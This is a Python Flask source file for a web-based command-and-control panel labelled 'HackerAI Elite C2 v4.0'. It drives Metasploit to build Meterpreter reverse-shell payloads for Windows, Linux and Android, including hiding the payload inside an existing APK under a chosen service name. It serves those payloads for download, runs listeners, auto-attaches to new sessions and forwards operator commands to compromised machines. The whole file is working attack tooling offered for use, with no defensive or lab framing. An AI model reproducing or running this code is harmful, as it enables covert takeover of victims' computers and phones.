app.py

from flask import Flask, request, jsonify, send_from_directory
from flask_socketio import SocketIO
import os, subprocess, threading, socket, re, time, select, sys, queue

app = Flask(__name__, static_folder='static', static_url_path='')
app.config['SECRET_KEY'] = 'hackerai-elite-c2-v4.0'
socketio = SocketIO(app, cors_allowed_origins="*")

PAYLOAD_DIR = 'static/payloads'
os.makedirs(PAYLOAD_DIR, exist_ok=True)

# Globals
msf_process = None
current_session_id = None
handler_active = False
in_meterpreter = False
output_queue = queue.Queue()

PAYLOAD_MAP = {
    "windows": {"meterpreter": "windows/x64/meterpreter_reverse_tcp"},
    "linux": {"meterpreter": "linux/x64/meterpreter_reverse_tcp"}, 
    "android": {"meterpreter": "android/meterpreter_reverse_tcp"}
}

EXT_MAP = {
    "windows": (".exe", "exe"),
    "linux": (".elf", "elf"), 
    "android": (".apk", "raw")
}

def get_local_ip():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect(("8.8.8.8", 80))
        ip = s.getsockname()[0]
        s.close()
        return ip
    except:
        return "127.0.0.1"

def clean_ansi(text):
    ansi_escape = re.compile(r'\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])')
    return ansi_escape.sub('', text)

def kill_msf():
    global msf_process, current_session_id, handler_active, in_meterpreter
    if msf_process and msf_process.poll() is None:
        try:
            os.killpg(os.getpgid(msf_process.pid), 9)
        except:
            pass
        time.sleep(1)
    msf_process = None
    current_session_id = None
    handler_active = False
    in_meterpreter = False

def start_clean_handler(lhost, lport, platform):
    global msf_process, handler_active
    kill_msf()
    
    rc_content = f"""use exploit/multi/handler
set payload {PAYLOAD_MAP[platform]['meterpreter']}
set LHOST {lhost}
set LPORT {lport}
set ExitOnSession false
setg CommTimeout 300
setg SessionCommunicationTimeout 300
exploit -j
"""
    
    rc_path = os.path.join(PAYLOAD_DIR, f"handler_{int(time.time())}.rc")
    with open(rc_path, 'w') as f:
        f.write(rc_content)

    cmd = ['msfconsole', '-q', '-r', rc_path]
    env = os.environ.copy()
    env["TERM"] = "dumb"

    msf_process = subprocess.Popen(
        cmd, 
        stdin=subprocess.PIPE, 
        stdout=subprocess.PIPE, 
        stderr=subprocess.STDOUT,
        bufsize=0, 
        universal_newlines=False,
        env=env, 
        preexec_fn=os.setsid
    )
    
    handler_active = True
    socketio.emit('msf_output', {'data': f"[+] ELITE LISTENER ACTIVE: {lhost}:{lport}"})
    socketio.emit('msf_output', {'data': "[*] Background handler running..."})
    
    # Start monitoring
    threading.Thread(target=monitor_msf_v4, daemon=True).start()
    # Start output processor
    threading.Thread(target=process_output_queue, daemon=True).start()

def process_output_queue():
    while True:
        try:
            line = output_queue.get(timeout=1)
            socketio.emit('msf_output', {'data': line})
        except:
            pass

def monitor_msf_v4():
    global current_session_id, in_meterpreter
    buffer = b""
    
    while msf_process and msf_process.poll() is None:
        try:
            rlist, _, _ = select.select([msf_process.stdout], [], [], 0.05)
            if rlist:
                chunk = msf_process.stdout.read(2048)
                if not chunk:
                    continue
                    
                buffer += chunk
                
                # Process complete lines
                while b'\n' in buffer or b'\r' in buffer:
                    if b'\r\n' in buffer:
                        line, buffer = buffer.split(b'\r\n', 1)
                    elif b'\n' in buffer:
                        line, buffer = buffer.split(b'\n', 1)
                    else:
                        break
                        
                    clean_line = clean_ansi(line.decode('utf-8', errors='replace')).strip()
                    
                    if len(clean_line) > 1:
                        output_queue.put(clean_line)
                        
                        # Session detection - pick LAST session (most recent)
                        session_match = re.search(r'Meterpreter session\s+(\d+)', clean_line)
                        if session_match:
                            current_session_id = session_match.group(1)
                            output_queue.put(f"🎯 LATEST SESSION: {current_session_id}")
                        
                        # Auto-switch to meterpreter ONCE
                        if current_session_id and not in_meterpreter:
                            if "opened" in clean_line:
                                time.sleep(2)
                                # Ctrl+C background jobs, enter session
                                msf_process.stdin.write(b"\x03\njobs -K\n")
                                msf_process.stdin.flush()
                                time.sleep(0.5)
                                
                                enter_cmd = f"sessions -i {current_session_id}\n"
                                msf_process.stdin.write(enter_cmd.encode())
                                msf_process.stdin.flush()
                                
                                time.sleep(1)
                                msf_process.stdin.write(b"setg Prompt 'meter> '\n")
                                msf_process.stdin.flush()
                                
                                in_meterpreter = True
                                output_queue.put("✅ METERPRETER LIVE - FULL CONTROL!")
                        
        except Exception as e:
            output_queue.put(f"[DEBUG] Monitor error: {e}")
            time.sleep(0.1)

@app.route('/')
def index():
    return send_from_directory('.', 'meta_ui.html')

@app.route('/generate', methods=['POST'])
def generate():
    try:
        data = request.json
        lhost = data.get('lhost', get_local_ip())
        lport = str(data.get('lport', 4444))
        platform = data['platform']
        filename = data['filename'].strip()

        # NEW: App Name and Template Logic
        app_name = data.get('app_name', 'MainService')
        template_path = data.get('template_path') # Path to an existing .apk

        ext, fmt = EXT_MAP[platform]
        payload_path = os.path.join(PAYLOAD_DIR, f"{filename}{ext}")

        cmd = [
            'msfvenom', '-p', PAYLOAD_MAP[platform]['meterpreter'],
            f'LHOST={lhost}', f'LPORT={lport}',
            '-f', fmt, '-o', payload_path
        ]

        # If it's Android and we want to customize
        if platform == "android":
            # Change the internal Android service name
            cmd.append(f'AndroidServiceName={app_name}')

            # If a template APK is provided, it uses that icon/name
            if template_path and os.path.exists(template_path):
                cmd.extend(['-x', template_path])

        result = subprocess.run(cmd, capture_output=True, text=True, timeout=120)

        if os.path.exists(payload_path):
            return jsonify({'success': True, 'url': f"/payloads/{filename}{ext}", 'file': f"{filename}{ext}"})
        return jsonify({'success': False, 'error': result.stderr}), 500

    except Exception as e:
        return jsonify({'success': False, 'error': str(e)}), 500

@app.route('/start_listener', methods=['POST'])
def start_listener():
    try:
        data = request.json
        threading.Thread(target=start_clean_handler, args=(data['lhost'], data['lport'], data['platform']), daemon=True).start()
        return jsonify({'success': True})
    except Exception as e:
        return jsonify({'success': False, 'error': str(e)}), 500

@app.route('/send_command', methods=['POST'])
def send():
    global msf_process, current_session_id, in_meterpreter
    if not msf_process or msf_process.poll() is not None:
        return jsonify({'error': 'No MSF process'}), 500
    
    cmd = request.json.get('command', '').strip()
    if not cmd:
        return jsonify({'success': False}), 400
    
    output_queue.put(f"meter> {cmd}")
    
    try:
        # Clear buffer
        msf_process.stdin.write(b"\n")
        msf_process.stdin.flush()
        time.sleep(0.1)
        
        if in_meterpreter and current_session_id:
            msf_process.stdin.write(f"{cmd}\n".encode())
        elif current_session_id:
            full_cmd = f"sessions -i {current_session_id}\n{cmd}\n"
            msf_process.stdin.write(full_cmd.encode())
        else:
            msf_process.stdin.write(f"{cmd}\n".encode())
            
        msf_process.stdin.flush()
        return jsonify({'success': True})
    except:
        return jsonify({'error': 'Send failed'}), 500

@app.route('/stop_listener', methods=['POST'])
def stop_listener():
    kill_msf()
    output_queue.put("[+] All stopped")
    return jsonify({'success': True})

@app.route('/payloads/<filename>')
def payloads(filename):
    return send_from_directory(PAYLOAD_DIR, filename)

if __name__ == '__main__':
    print("🚀 HackerAI Elite C2 v4.0 - MULTI-SESSION FIXED!")
    socketio.run(app, host='0.0.0.0', port=5001, debug=False)